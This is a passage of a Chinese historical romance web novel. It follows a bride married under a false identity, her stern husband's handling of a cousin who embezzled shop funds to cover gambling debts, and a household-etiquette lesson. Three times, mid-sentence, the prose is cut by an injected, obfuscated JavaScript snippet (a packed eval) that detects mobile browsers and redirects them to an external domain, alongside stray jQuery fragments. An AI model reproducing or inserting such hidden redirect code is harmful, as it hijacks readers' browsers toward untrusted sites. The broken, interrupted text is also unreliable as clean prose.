二婶娘云氏与姚氏交好，附和道：“四弟妹儿女双全，是操心惯了的人，话里话外总惦记着家里孩子们的事，心肠热得紧。” 方淑凤作为正经婆母，此时不得不开口：“说的是，我们这些做长辈的，哪个不是一腔热诚盼着孩子们好么，宗劭性子沉，说话有不中听的四弟妹别往心里去。” 姚氏瞧不惯她这副假惺惺模样，刚想开口，被秦锦抢先一步笑着打岔：“好了好了，都是一家人，说这些客套话做什么......阖家都在，怎么不见宗勉？” 话头一转，把众人注意力转到未到场的秦勉身上。 被议论的主人公是秦劭三叔家堂弟，此时刚顶着风雪踏入秦家大门。 小厮追上来劝道：“少爷，您好得先回去换身衣裳。” “费什么话，滚一边去。”秦勉一脚踢开碍事的小厮。 他才出门采办几日，回来便听说堂兄新婚，娶的还是他心仪的宋家姑娘，如今想来分明是早有预谋。 心头火起，顾不得得体不得体，径直冲进厅堂。 厚毡帘从外撑开，冷风裹着雪粒随他闯入，满室皆是一惊。 季灵儿被突如其来的动静吓到，下意识往秦劭身旁靠。 原本就很近，这下几乎贴在他肩头，秦劭不动声色地侧身，将人护在身后。 “大哥好手段，你——” 满腔怒意，在越过秦劭臂膀撞见那双清澈眼眸时骤然卡住。 惊慌失措的面孔，不是他惦念的那张。 她不是宋芮宁。 正茫然不知如何发问，秦劭说话了：“如此莽撞成何体统，还不向祖母请罪。” 语气不重，带着不容置疑的威压。秦勉从小怕他，压着疑问上前两步朝堂上行礼。 “祖母万安，爹娘，各位叔伯婶母万安。” 方才还炸毛狮子似的，此刻规规矩矩行礼，季灵儿偷偷瞧着，再次叹服于秦劭的威严。 先生训人实在天赋异禀。 老夫人把秦勉招到跟前，替他打理好凌乱的衣襟，轻叹道：“你这孩子，风雪天奔波也就罢了，回来也不知先换身衣裳，仔细冻坏了身子。” 边说边吩咐丫鬟去取暖手炉来。 他父亲接话训斥：“你大哥方才还在夸你，说世勉成熟了，经手的事物周到妥帖，说考虑年后分间铺子给你管理，怎么一回来就这般毛躁？” 秦勉闻言一怔，大哥夸他？还打算分铺子给他管？怕不是想用好处堵他的嘴吧。 想到这里，心头又是一阵翻涌，转头看向秦劭。 秦劭对他的愤懑和诧异仿若不察，淡淡道：“三弟的确长进不少。” 过往经验告诉秦勉，当众跟秦劭争执只会自讨没趣，咬了咬牙，言不由衷地应了声谢，“还未恭贺大哥新喜。” 接着拱手朝身后的人拜道：“见过嫂嫂。” 季灵儿挪出身子回了个礼。 秦勉看的真真切切，她不是宋芮宁，外面传得沸沸扬扬，府里人也说大少爷娶的是宋家小姐，据他所知宋家没有第二个适龄的姑娘，到底是怎么回事？ 秦勉盯着季灵儿看了许久，终于忍不住问：“敢问嫂嫂芳名？” 季灵儿刚要张口，秦劭凌厉目光便扫了过去，警告意味十足：“既是你的嫂嫂，问名字冒昧了。” 三房夫妇欣喜于儿子能接管铺子，怕他出言不逊再惹怒秦劭，忙打断：“宗勉，你今日怎么回事？” 秦勉被父亲一喝，恹恹收回目光，对老夫人道：“祖母恕罪，我身上衣服湿透了，不便在此多待，先告退了。” 不一会，秦劭也找个由头，拉着季灵儿退出正厅。 寒风拂面，季灵儿却觉得无比清爽，畅然舒一口气。 一路无话回到自家院子，季灵儿默默挣开秦劭的手。 掌心被冷风钻了空子，秦劭握了握拳，将手背于身后，“可是被吓着了？” 季灵儿摇摇头，仰脸看他，明眸里水光潋滟：“给你添麻烦了。” 眼前温顺的人儿和学堂里古灵精怪的小徒弟判若两人，秦劭险些生出错觉，唇角不自觉柔和下来。 “傻话，娶你回来自不能让你受委屈，我会替你撑着。” 无论真心假意，这是句很动听的话，尤其对孤女。 季灵儿心里的负罪感又涌上来了，恨不得现在就告诉他真相。 “先生。” “嗯？” 坦白的话到嘴边，她的勇气如漏气的皮囊，咻得卸下去。 “没什么。”她垂头，毛茸茸的狐裘边遮住半张脸。 秦劭目光温柔，“别担心，秦家规矩是大，但大不过我去，你只需记得，一切有我。” “先生真好。” 这句话如毒刺般扎在心头，越挣扎越深，她不能坦白，只能将这份愧疚藏得更深，暗下决心弥补他，希望有朝一日，真相不会伤他太深。 秦劭反倒笑了，“我记得有人说过，先生不通情达理，很讨厌。” 季灵儿心虚：“您记错了。” 秦劭不置可否，“回房把头面卸了用早膳，我处理完事情带你出府。” 待季灵儿进屋，他语气转冷，吩咐阿吉：“请三少爷到书房来。” * 书房内，秦劭靠在太师椅上，指尖点着桌案上的账本，神色莫辨。 秦勉猜到大哥会找他，一直在院子里等着，满肚子疑惑，和反复练习的说辞，在见到秦劭的瞬间都忘了。 开口底气降了大半：“大哥找我？” 秦劭掀眼看他，没有提宋家，而是推了把面前的账本，声音凉淡：“东平街布庄的账目，你解释一下。” 秦勉脊背一僵，装傻道：“我不管账，大哥要我解释什么。” “你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379868|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管账，倒是很会做账，”秦劭冷笑，另拿出一张货单甩在他面前，“上面的字迹，像不像你的？” 秦勉仅仅瞥一眼，手心已沁出汗，“大哥，这，这不是我写的，定是有人伪造我的笔迹。” 他的掩饰实在拙劣，搁往日秦劭根本不会多费口舌。 眼下，他必须耐着性子，“这字迹临摹得倒是像，可你别忘了，上个月你亲自在布庄签的收货单，还在我这里收着。” 秦勉钉在原地，喉咙紧紧哽住，说不出一个字。 秦劭等到耐心快告罄，仍不见他开口，语气陡然下沉：“还不说，需要我把掌柜和账房叫来对峙？或是把人都带到祖母和三叔三婶面前交代？” 秦勉张了张嘴，最终垂下头，声音几不可闻：“大哥，我错了，我一时糊涂。” 秦劭：“抬头看着我，一口气说完。” 秦勉艰难与他对视，“我欠了赌债，不得已才挪用了布庄的银子。” “好一个不得已，”秦劭压抑着翻涌的怒意，问：“欠了多少？” 秦勉又把头垂下去，“两，两万两。” 秦劭指节在桌面上叩了两下提醒，“抬头，继续说。” 秦勉抬起头，眼神飘到一边，“我把布庄半年的进出账都改了，换成一个空壳商号走账，原以为大哥即便发现，也查不出头绪，没想到，还是逃不过你的眼睛。” “亏你想得出来，连我都险些被你瞒过去，聪明的脑袋瓜尽用在歪门邪道上，还有呢？” “没，没了。” “谁帮你改的账？” 秦勉硬着头皮答：“我自己改的。” 秦劭盯着他半晌，忽而轻笑，“你倒是护下。” “挪用银两是我的错，大哥要打要罚我都认。” “好得很，欠债还钱天经地义。从明日起，每日卯时到戌时，你去布庄跟着管账理货，不许缺席，直到布庄的盈利补齐亏空为止。” 闻言，秦勉内心一度绝望，每日耗在那地方，不如让他直接剃度出家当和尚。 强压之下涨起些许勇气，试探着打商量，“布庄的生意并不好，补齐两万要到猴年马月去了，我每两日去一次，保证不耽误......” 没说完的话折在秦劭的眼刀里。 秦劭：“能想出来空壳商号的点子，可见你脑子灵光，布庄生意不景气，正好给你个施展才能得机会，把野心思收回来放在家里生意上，若能改善经营，明年东边所有布庄的归到你名下。” 秦勉眼睛猛地睁大，不可置信地望着秦劭，“大哥此话当真？” 秦劭点头：“君子一言。” 秦勉眼中骤然燃起希望的光，声量都提高了：“驷马难追！” “丑话说前面，若让我发现你再动任何歪心思，不用等到明年，现在就把你送进祠堂家法处置。” “一定，一定。” 秦劭微微颔首，语气缓了几分：“帮你瞒天过海的掌柜和账房，照规矩是要处置的，但考虑你需要人手，暂且网开一面留着他们，权当与你一起戴罪立功。” 秦勉连连点头，“多谢大哥，我定不负所托。” “嗯，日后管好你的人，也管好自己，再折腾出任何风波，我新账老账一起算。”秦劭不疾不徐说完最后一句，摆手道：“回去吧，有任何问题直接来找我。” 秦勉告辞出来，初时只顾着为逃脱惩罚又保全伙计庆幸，待回到自家院子，冷静下来觉察不妥。 尤其最后一句，明显在暗示他。 准确说，是警告，更是他真正的目的。 5. 还价 直觉告诉秦勉，大哥借他挪用布庄银两敲打，又宽宥施恩，如此彻底拿住把柄，都在为最后那句不让他折腾的警告铺垫。 言外之意......难不成是警告他不要揭穿那个假的宋芮宁？ 果然是只手段老辣的大尾巴狼。 可大哥如何知道她是假的？ 假的嫁入秦府，真的宋芮宁又去哪儿了？秦勉百思不得其解。 想不明白，忽而生出一分侥幸，如果大哥不知新娘子是冒牌的，日后发现被人蒙骗，岂非有好戏看...... 秦勉越想越觉有趣，往后靠在圈椅里，两腿交叉翘桌上，先前的郁闷一扫而空，反倒殷切期待大哥真不知情。 * 秦劭忙完回来，季灵儿正蹲在卧房前的院子里堆雪人，一双手冻得通红，在刚成型的雪人身上拍拍打打，身子拍瓷实，又扶正歪斜的脑袋。 他站在廊檐下看了会儿，直到她拿大枣和黑豆把雪人鼻子眼睛安上去，才抬步上前。 “手不冷？” “雪化在手心里是热的。”季灵儿将手伸给他看，雪水顺着她掌心的纹路淌下来，慢悠悠往袖子里去。 秦劭及时握住她的手腕，水流撞在他手背上，破碎，滴落。 低头在她冻红的指尖上方哈了口气：“仔细冻伤。” 酥麻的暖意自指尖蔓延，季灵儿忍不住蜷缩握拳，“玉秀准备了手炉。” 目光随着话音看向玉秀。 后者会意，捧着手炉上前。 秦劭扫了一眼，松开她的手。 季灵儿将手炉捧在掌心，笑盈盈问：“我堆的雪人好不好看？” “不错。” 季灵儿觉得他回的很敷衍，仰头追问：“具体呢，哪里不错？” 她肤白胜雪，眉梢沾着雪粒，鼻尖和脸蛋的红连成一片，呼应着两瓣丰唇，黑亮的双眼眨呀眨，等着他回答。 活脱脱一个灵动的大雪人。 “很像你。”他说。 说完走到雪人跟前，弯腰为它勾起一道弯唇，掰碎大枣点缀，雪人瞬间咧嘴笑开。 “这样便更像了。” “哪里像。”季灵儿看着一脸傻笑的雪人，小声嘟囔。 秦劭摩挲着冰凉的指尖，笑了下，说：“再换件干净衣服，带你出门。” 季灵儿这才发现裙角被雪水浸湿了一片，但她不在意这些细节，“很快就会干了，咱们直接走吧。” ... 二人乘马车先来到珠宝铺，是秦家产业。 掌柜见大当家带少夫人来，以为是视察生意，忙不迭让座奉茶。 “你尽管挑喜欢的。”秦劭示意季灵儿随意，自己在一旁落座。 季灵儿在铺子里转了一圈，停在一对古法打造的银镯前，镯身没什么复杂纹样，开口处是各有一颗珊瑚和松石。 她从前有过一个相似的，不慎丢了。 掌柜注意到她目光停留，忙上前介绍，并示意小二将取出奉上，“大少夫人请。” 银镯入手微凉，季灵儿试着戴上，贴在腕间恰到好处。 似乎比她原来的分量重些。 掌柜又是一番夸赞，说银镯简直为她定制，与她气质相得益彰云云。 季灵儿淡然问了句价格。 “这......”掌柜有些为难，虽说秦家有规矩，主家任何人进店皆需按市价付款，但这位可是新过门的大少夫人，他实在不好意思张口要价。 刚想说两句吉祥话，把东西当孝敬送出去，坐着的人说话了。 “按规矩来。” 掌柜顿时噤声，硬着头皮报出价格。 “东西是不错，价格偏高了些，”季灵儿品咂着，又说：“掌柜的再让些。” 掌柜叫苦，他已经是按市面最低价报的，再让价还不如白送呢。 偷偷将目光挪向秦劭，大当家最清楚进价，祈求他能张口说句公道话。 秦劭的确清楚价格和市场，视线也一直在二人身上，看见了掌柜的为难，但并没有替他解围的意思。 事不关己地回了句：“她问你话。” 大当家是来考察底下人能力的，掌柜如是想。 所以他决定坚持底线：“回大少夫人，此镯银料考究，珠石亦是珍品，市面上早已断货，因此价格偏高些，但已是最低价了。” “那便是没有折扣？”季灵儿失望叹气，摘下银镯放回锦盒里。 掌柜欲言又止，额角汗珠添了一分。 季灵儿转身走向柜台那端，随手拿起一柄雕刻精细的梳子端详，木纹细腻，入手温润。 “这个呢？” 掌柜吃一堑长一智，照正常市价报数，心里准备好让价的空间。 季灵儿只是摇头，把东西放回原处，“算了，太贵。” 秦劭呷一口茶，忍下嘴角的笑。 季灵儿走到他跟前，低声说：“我想去别家铺子看看。” 秦劭搁下茶盏，疑惑看着她：“没有喜欢的？” “东西不错，价钱不合心意。” 这话落在掌柜耳朵里，无异于被当家的枕边人吹风告状，赶忙凑上前赔笑补救：“大少夫人觉得价格不合适，咱们还可以商量。” 季灵儿看出来他局促，解释道：“不是你的问题。” “那是？”问话的是秦劭。 她从前做梦都想着有一日能不问价要什么买什么，当真实现了莫名有些不自在，或许因为花的不是自己银子。 又或许，掌柜让步太刻意，少了杀价成功的喜悦感。 她思量再三，偏向后者，遂坦言：“在您手底下的铺子买，失了很多乐趣。” “嗯？”秦劭不解。 季灵儿：“不能杀价。” “......” “所以我想去其他铺子。”她重复道。 “好。”秦劭整理袖口，准备起身。 季灵儿：“我自个儿去就成......他们肯定认得您，您在这里喝茶歇息，我很快回来。” 待她出去后，秦劭才吩咐阿吉悄悄跟上。 目睹一切的掌柜和小二内心窃窃：堂堂秦家大少夫人进自家铺子空手而归，反倒去别家买首饰，肥水全流了外人田。 他们不知道的是，别家碰上这么个精明的主顾，别说肥水，连点油花都捞不着。 回府的马车上，秦劭看着季灵儿一件一件炫耀胜利果实，又琢磨起她方才那句话。 不能杀价......她把首饰铺当成菜市街么？ “怎么样，不错吧，这都是我跟先生学到的本事。”季灵儿炫耀完还不忘拍金主马屁。 秦劭挑眉：“我何时教过你杀价？” “先生教我们估算东西价值，心里有数才能不吃亏，买货卖货其实是一样的道理。”季灵儿说着拿起一支点翠簪子，笑嘻嘻道：“这支二十两银子我敢打赌铺子里进货不到十两。” 秦劭看了眼材质做工，心中估出一个价格，问：“你花多少银子？” “先生猜猜。”季灵儿眨眨眼，卖了个关子。 “八两。”是他预估的进货价。 “先生果然厉害！”季灵儿不禁赞叹，继而洋洋自得补充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379869|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“的确八两，附带这朵绢花。” 秦劭眉眼弯起，笑意藏不住地漫上嘴角，拿过簪子意味深长看着她。 “先生不夸我吗？” 秦劭抬手将簪子插进她发髻，“你戴上，这簪子便不止值二十两。” 季灵儿一愣，脸微微红了，心中泛起说不清道不明的雀跃，“先生是夸我好看？” 秦劭没回答，停了少许，说：“人多口杂，你左一口先生右一口先生，容易生出是非。” “先生想让我唤夫君？”她端着一脸天真问，话锋一转，变成极为难的语调：“可是一口一个夫君总觉得太亲昵，失了徒儿对您的敬意。” 分明不想叫，漂亮话说的好听，这是她惯用掩饰小心思的把戏。 “不叫夫君的话，”秦劭声音很缓，说到这里特意停住。 季灵儿先前这么称呼迫于形势，心虚盖过羞赧，没什么感觉。如今听他磁性嗓音吐出这两个字，浑身都不自在。 许是他一贯严肃，和柔情的称谓不搭。 而且一般这样的句式后，都会跟上令人讨厌的惩罚。 思及此，她又开始紧张，心说一个称呼而已，不至于用上惩罚吧？ 忍不住催问：“不叫的话怎样？” 秦劭一副终于想出对策的模样，沉吟着说：“可以叫宗劭，宗是我们这辈的排行，在外用单字，家里亲长惯加辈分称呼。” 都说了亲长叫的称呼，她叫岂非更不合适。 季灵儿怀疑他是故意的，可对方表情实在认真，瞧不出猫腻。 灵机一动，道：“我听丫鬟婆子们叫您大爷，要不我也随她们叫？” “......” 她不等回复试着唤了一声，感觉怪怪的。转而改口：“或者和掌柜一样，唤您大当家？” 秦劭面无表情点评：“随外人叫，显得很生分。” 这回答就是不允，季灵儿老老实实“哦”一声，说：“那还是偷偷唤先生吧，在人前唤您夫君。” 秦劭阖眼，不想应她。 季灵儿很不知趣地又唤一声：“先生？” “我有些乏了，养会神。” 季灵儿摸了摸头上的簪子，没再说话。 ... 回到府上，季灵儿掏出自己的小账簿，工整记录今日每一笔开销，然后让玉秀将东西拿去归置。 看着落款的总数，杀价的喜悦倏然散去。 这银子够昨日之前的她吃喝一年了，还是改善伙食情况下的那种。 “太冲动了。” 额头抵在桌案边缘，颇为懊恼地叹气。 秦劭从外头进来便看见一只打蔫的鹌鹑，“怎么了？” “不该一时冲动买这么多东西。”季灵儿没抬头，回答倒很诚实。 秦劭点点头，“懂得反思，很不错。” 季灵儿皱着眉头看他：“通常这种情况下，您不是该哄着我，说只要开心，银子就花的值......或者说这点钱不算什么......诸如此类的话吗？” 秦劭反问：“你很了解？” 她没这样挥霍过，更没人会同她说这话，不过是一时间想到某些相似场景。 秦劭还目不转睛等她回答，迎着他的目光，季灵儿不自觉切回弟子身份，回道：“我见过旁人有类似情况，就是这么哄的。” “什么人？”他似乎很有兴致，和在学堂提问一样刨根究底。 “就是夫妇，情人，朋友啊，大家都是这样的。” “哦，”秦劭语调跟着眉梢一道挑起，明知故问：“我们是哪种关系？” 6. 规矩 季灵儿明显会错意思，愣了半晌，抿着唇线垂头，“我知道了。” 他们是师徒，“懂得反思，很不错”这样的话，很符合先生的一贯语调。 秦劭：...... 他还要开口，门外响起通报声，教规矩的嬷嬷到了。 新婚头两日学规矩，是这一带高门富户一贯的传统，秦家自然不例外，来的是在老夫人身边服侍多年的冯嬷嬷。 冯嬷嬷一身墨绿缎面斜襟长袄，手里拎着一指宽，三寸长的乌木戒尺，进门先给秦劭行了个礼，又给季灵儿行礼。 秦劭面无表情应一声，季灵儿眼睛直勾勾盯着戒尺。 戒尺，即惩戒，标准之意，拿戒尺只是规矩里的一部分，类似钦差手中的尚方宝剑，几乎不会动真格，毕竟教习对象是主子，又是刚入门的新妇。 季灵儿哪里知道这些，紧张地恨不得把整个身子缩进椅子里。 秦劭见她这副模样有些哭笑不得，不禁想自己之前到底做了什么，让她一见戒尺就如临大敌。 他自认为对弟子很和善，故而没想出有何过分之处。 “娘子。”他温和唤她，介绍道：“这位是冯嬷嬷，称得上府里最慈和的一位。” 冯嬷嬷笑眯眯道：“大少爷抬爱，老身担不起。” 模样的确亲和，季灵儿紧张稍缓，起身拘谨地问了声好。 嬷嬷教规矩，一来无聊，二来会教新妇侍奉夫君，有些房事上的小妙招，爷们在旁边听去，实施时候失去新意，便不灵光了。 大家心照不宣，所以虽然没要求，但从前的爷们或忙私事，或自觉借口避开，没人跟着旁听。 偏偏秦家最忙的当家人此时悠哉悠哉坐在窗下的暖炕上，没有要离开的意思。 嬷嬷清楚规矩里有几条要求略显苛刻，也听说了眼前这位敬茶时维护夫人的做派，怕他护短坏了规矩，便出言提醒：“大爷，您有事可以先忙。” 秦劭抬眼，却随手拿起一本账册，“无妨，我今日得空。” 嬷嬷了然，简单道两句开场，切入正题。 她讲得头头是道，季灵儿听得晕晕乎乎，目光控制不住地往窗边飘，那人倒耐得住，端着账本看起来十分认真。 “少夫人。” 跑神被抓包的季灵儿赶忙坐直身子，“我记下了，您继续。” 有钱人家的规矩实在多，一条又一条恨不得把人捆成粽子，季灵儿在心里抱怨，下定决心等回门那日要多向宋家讨要银两补偿。 可有了补偿还是要回来守规矩，日日与秦劭相处，他若按这些规矩来要求自己，她怕是得天天挨训。 要不还是想办法逃跑吧！ “少夫人，您总看大爷做什么？” 思绪被打断，季灵儿发现自己又不自觉望向秦劭，不知是不是因为嬷嬷提醒，对方的视线也在她身上。 四目相对，季灵儿脸颊瞬间升温，心虚的直打磕巴：“他，他好看，不，不是，我在想嬷嬷方才说的话。” 嬷嬷只当新婚燕尔情意正浓，不打算戳破。 秦劭却开口了：“如此认真，那你重复一遍嬷嬷方才的话。” 季灵儿思绪早飞出九霄了，哪里听得见嬷嬷说什么，嘴上回不出来一句，心里骂了秦劭几百句。 先生还是那个讨厌的先生。 就喜欢为难她，看她当众难堪。 她恨恨地翻了个白眼，在秦劭看不见的角度里。 嬷嬷看见了，笑着替她圆场：“少夫人头一回听这些，难免记不全，老身刚才说女子无才便是德，意为有才而不显耀才，方称德。少夫人平日切莫锋芒毕露，尤其是爷们面前，须得有德，有行，进退有度。” “说白了就是让我顺着他，乖乖听话呗。”季灵儿怨气未消，一不小心吐露出真心。 秦劭嗤笑出声。 小姑娘不知道哪里来的怨气，听话不听全，捡着自己理解的意思借机发泄。 季灵儿：“你笑什么？” “看到有意思之处。”秦劭说完收回视线，继续翻看账本。 “......” 她才不信，看账本还能笑出声？何况方才他视线压根不在账本上。 嬷嬷偏挪一步，挡住她的视线，解释道：“凡事要有分寸，并非一味顺从。” 讲完待人处事的规矩，又讲起持家之道，管家避不开管账，说到钱财，季灵儿眼睛瞬间亮了起来，听的十分仔细。 听到开源节流，忍不住插嘴：“不就是省钱嘛，这个我擅长。” 秦劭又笑一声。 认真听讲的季灵儿这次不心虚了，颇有底气地回嘴：“您总笑，有什么好笑的？” 秦劭放下账本，眉眼舒展：“这次是赞赏，你的确很会省钱。” 季灵儿觉得他在笑话自己，找不到证据反驳。 冯嬷嬷的理解恰恰相反，顺着秦劭的话夸道：“少夫人管理有方，日后定能成为一名合格的当家主母。” 当家主母，谁爱做谁做！ 季灵儿心里不屑，面上还是友善地回了一声谢。 秦劭彻底不看账本，为难之人成了冯嬷嬷，讲到苛刻的规矩时，他会蹙眉，放茶杯的动作也比先前重了些。 冯嬷嬷立刻会意：“不过这些规矩也不是死的，得看个人性情来调整，少夫人聪慧通透，想必能懂得灵活变通的道理。” 再苛刻一些的，他直接截断话头问季灵儿，“能做到？” 季灵儿疯狂摇头。 得了意料之中的回答，秦劭道：“那别勉强了。” “大爷，”冯嬷嬷咽了咽口水，想说这是规矩。 “往下讲吧。”秦劭态度很明显，不容置喙。 季灵儿忽然想起早晨那句，秦家规矩再大大不过他去，看来不是吹嘘。 十分得意地坐直身子，摆出了自以为颇有狗仗人势，啊不，是狐假虎威的气势。 讲到最后一节，冯嬷嬷又在偷瞄秦劭脸色。 这部分要讲夫妻房事，她虽看着秦劭长大，但面对即将而立之年的爷们，嬷嬷竟有些不好开口。 他手肘撑着案几，闭目养神。 季灵不明就里，看冯嬷嬷的模样，以为有更过分的规矩，怕秦劭睡着没人给她撑腰，轻轻唤了声：“夫君？” 秦劭没应。 季灵儿很失望地腹诽。 冯嬷嬷却庆幸，抓紧往下进行：“夫妻行周公之礼时，妻子要伺候妥帖，以丈夫需求为先，但需注意分寸，不可有放.荡行径，失了正妻端庄。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379870|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若丈夫房事过于频繁，身为妻子，要行劝诫之责，不可一味顺从讨好，纵容夫君坏了身子。” 季灵儿明白过来冯嬷嬷在说什么时，脸已经红透了，试图阻止：“这些不必细说了。” “都是规矩，不可不讲。”冯嬷嬷带了任务来的，巴不得一下子教少夫人学会，好让老夫人全了抱曾孙的愿望。 “少夫人既然已同大爷圆房，想必已有体会......” 季灵儿羞得失了方寸：“圆房？我没——” 秦劭倏然睁开眼，清咳一声，目光清冽地扫过来。 季灵儿一个激灵，话音戛然而止。 “辛苦嬷嬷费心教导，余下的我自会同她细说。”秦劭忽然开口，声线低沉，带着意味深长的笑意。 冯嬷嬷显然想歪了，连忙应声告退。 讲规矩没让丫鬟在旁伺候，嬷嬷走后，屋内陷入一片静谧。 季灵儿在房事上懂的不多，但知道圆房的意思，遂问：“我们分明没有圆房，嬷嬷为何这么说？” “照规矩，洞房花烛夜都会圆房，她这么想不奇怪。”秦劭道。 “哦，原来我来的第一夜就坏了规矩。”季灵儿没有怀疑，也没能藏住内心深处的小得意。 “你很骄傲？” “没有没有。”季灵儿连连摆手，琢磨了一会儿，终是忍不住问:“不过先生，如果我坏的规矩多，是不是会被休掉？” 被秦家休弃出门，可以名正言顺恢复自由，至于名誉，宋小姐婚都逃了，想必不在意这些，更别提她这个冒牌货了。 季灵儿觉得自己是天才。 “......休妻是大事。”秦劭答得模棱两可。 季灵儿了然，休妻是大事，所以要犯厉害些的规矩才能被休。 记得方才冯嬷嬷提到过不可违背的七出之条，似乎很有用，是什么来着。 完了，没认真听！ 秦劭站起身，眸光幽深盯着她，“季凌。” 这一声震慑力实在太大，季灵儿几乎以为他看穿了一切，心怦怦直跳，“怎，怎么了？” “若祖母知道我们未圆房，会生气，她老人家身子不好。” 季灵儿慌了，他这话什么意思？ “你不说，我不说，她不会知道的吧......” “祖母是过来人，一眼便能看出来。” “看出来？这怎么看？” 秦劭无法解释，换了个说法：“丫鬟婆子会在外间听动静。” “嗯？”季灵儿没明白 “夫妻行房难免有声响。”他耐心解释。 季灵儿没见过更没经历过，似懂非懂地看着他。 “那，那怎么办？” 秦劭忽然倾身靠近，语气意味深长：“你是我明媒正娶的妻，圆房理所应当，你紧张什么？” 季灵儿退无可退，被圈在椅子和他胸膛之间。 夫妻圆房的确理所应当，她没理由拒绝，甚至他若铁心动真格的，她根本没办法反抗。 她虽然对贞洁观念并不执着，也不想就这么糊里糊涂地把自己交出去。 要不坦白吧？ “我不是……”季灵儿张口又犹豫。 “不是什么？”秦劭目光灼灼盯着她问。 7. 回击 “小姐，”玉秀的声音适时响起。 她心中实在不安，一直留心季灵儿的举动，方才她没听太真切，但隐约感觉不妙，思量用什么借口进去，恰巧前厅派丫鬟来请。 她唤得有些急，顿了下才改口：“大爷，正院来人请您和少夫人去用膳。” 秦劭应一声，对季灵儿道：“你话没说完。” 季灵儿知道玉秀故意打岔提醒，眼下不是坦白的时机，便说：“我不是紧张，只是不习惯。” 又是这个回答。 秦劭压低眉头，转身出去。 玉秀欠身送秦劭离开，掀起毡帘入内，又急又气：“您怎么能对姑爷说实话呢。” “他说要圆房，我不能真把自己交出去啊。”季灵儿无比委屈，泄气地靠进椅背。 玉秀一时语塞，看向她的眼神既愧疚又怜惜，过了好一会儿，小心翼翼开口：“其实，姑爷是个不错的归宿，您若假戏真做跟了他，日后不用为生计所困了.....” 季灵儿朝她翻了个白眼：“你家小姐都厌弃地逃婚了，如今马后炮似的在我跟前夸，真是站着说话不腰疼，你若觉得好，干脆自己从了他。” 说到这里，脑海闪过一道光，上下打量玉秀，“别说，你们宋家连丫鬟都标致，稍微打扮一番，说是小姐都有人信。” 玉秀被这话惊得后退，一张脸忽白忽红，“这，这可使不得！” 季灵儿记她方才劝说的仇，半真半假地笑起来，“怎么使不得，我觉得这法子很可行，就说你才是宋家小姐，反正他们没见过真的，如此我能脱身，你也能好好为你家小姐尽忠。” 玉秀急得眼眶都红了，“万万使不得，如今秦家上下都认准您是我家小姐，说这话太荒唐了。” 此法可行，季灵儿只叹错了时机，若新婚夜便这般筹划，想法子糊弄住秦劭，说不定早溜之大吉。 “您别再胡思乱想了，”玉秀见她眉头紧锁，生怕真打定主意把自己交出去，试图威胁：“姑爷的雷霆手段在商行是出了名的，一旦露馅，咱们都吃不了兜着走。” 秦劭在商行什么样季灵儿不清楚，但做他徒弟的一年吃的苦一辈子忘不掉，每每回想仍心有余悸。 幽幽叹口气，“知道了知道了。” 她发誓再不敢贪不义之财了。 ... 新妇进门头三日，以及每月初一十五和重大节日在正院用膳是规矩，其余时候由各房自行安排。 男女分席，季灵儿到堂屋时一桌女眷已经入座，正低声说笑，她扫了一眼，未见到家里爷们。 回忆着冯嬷嬷讲的规矩，站定后，欠身道：“芮宁听规矩耽误些时辰来迟了，给祖母，婆母，诸位婶娘见礼。” 老夫人笑说无妨，招手让她坐到自己左手边的空位上。 早晨匆匆一面，季灵儿尚未认全所有人，依稀辨得出老太太右手边是婆母方淑凤，隔两张面孔是为难她的四婶娘姚氏。 自己左手边坐的是个约莫二十多岁的女子，水兰色对襟袄，面容消瘦，眉目隐约透着郁气。 老夫人在旁介绍：“这是你二弟媳妇音然，也是你四婶娘母家侄女，一向身子弱，晨起未赶上你敬茶。” 听闻跟四婶娘一家子，季灵儿瞬间失了对姚音然的好感，心下暗暗提防。 面上依着规矩微笑问好，落座。 姚音然弯起嘴角，拘谨回了礼。 众人跟着老夫人动筷。 季灵儿注意到每人跟前都摆了两副筷子一副银的，一副木的，她正思索其用途，袖口被人轻轻一扯。 是姚音然，她率先拿起银筷夹一道面前的鱼脍到自己盘中，然后换取木筷送食。 季灵儿会意，依样行事，因这一善举重新拔高对姚音然的好感。 避免多说多错，季灵儿专注低头用膳，尽力降低存在感。然而这场席面本就因她而设，众人的目光和话题自然绕不开她。 宋家情况，秦家规矩，她都一知半解，面对诸人的关心盘问，真假参半勉强应对过去。 新婚三日无大小，她又是老夫人费尽周折盼来的，没谁不知趣的当面为难，偶尔的失礼也无人苛责。 除了姚氏。 季灵儿应付一圈，刚准备踏踏实实吃饭，姚氏突然开口：“咱们秦家有个规矩，新妇入门第一日须得布菜三巡以示孝心，大侄媳妇怎么忘了？” 